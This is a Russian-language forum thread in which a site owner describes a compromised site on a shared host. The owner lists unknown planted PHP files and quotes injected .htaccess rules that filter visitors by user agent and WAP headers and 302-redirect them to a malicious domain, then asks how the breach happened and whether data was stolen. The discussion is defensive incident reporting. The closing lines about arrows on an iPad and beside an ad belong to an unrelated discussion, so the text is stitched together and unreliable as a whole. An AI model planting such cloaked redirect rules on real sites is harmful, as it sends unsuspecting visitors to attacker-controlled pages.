ToriRat

Independence:
Угу, именно там. Значит это явный косяк хостера. Причем я папку с Webalizer отдельно еще прикрыл через .htpasswd, но все равно не помогло (если, конечно, дело в нем) - возможно обращались нарямую к программе, котоая где-то там стоит в недрах РБК.

PS: если вы там же хоститесь, то наверняка найдете те же файлы, что и я. вообще хотелось бы понять, что и где нужно почистить, чтбы ликвидировать заразу.

Independence:
Утро началось недобро. На одном из сайтов такое...

Антивирусная проверка сайта шлет на мейл визги, что по адресу вида:
... /webalizer/usage_200801.html
обнаружено зло в виде:
winnow.botnet.ff.trojans.23137.UNOFFICIAL

В процессе проверки на сервере найдены "левые" файлы: index.php, cn.php, wap.php, config, system, где файл config составляет более 20 Мб. (нафига?)

В файле htaccess найдены традиционные для таких тем
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
...
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
...
RewriteRule ^(.*)$ http://adresdolbodyatlov.net/?a=u2w4t2w423m254l [L,R=302]

Естественно, пришлось писать в суппорт разобраться, что за фигня. Ответа пока не пришло.

Какие будут мнения?


На первый взгляд все дело может быть в Webalizer, там дыра и тогда это явный прокол хостера. Но может я и ошибаюсь, и нужно в своих скриптах дыру поискать, больше особо негде, так как каких-то внешних форумов, CMS и пр. на этом сайте не стоит. И PHP я не пользуюсь тоже.

Более интересный вопрос - украли ли какой-то контент с сайта и пр. информацию, так как там самописные скрипты и пр.? Как это можно определить? В чем цель взлома была?

Если просто детишки балуются, чтобы лишние пару-тройку $$$ с партнерки срубить, то ладно, а вот если чего украсть хотели, учетные данные пользователей и пр. - тут вопрос, может и в полицию заявить имеет смысл, так как сайт серьезный?

хотя данные стрелки я видел только на айпаде если это скрин с винды, то очень удивлён

TheVS:
Мне нравится, но я бы эти стрелки поставил слева от объявления, а не справа :)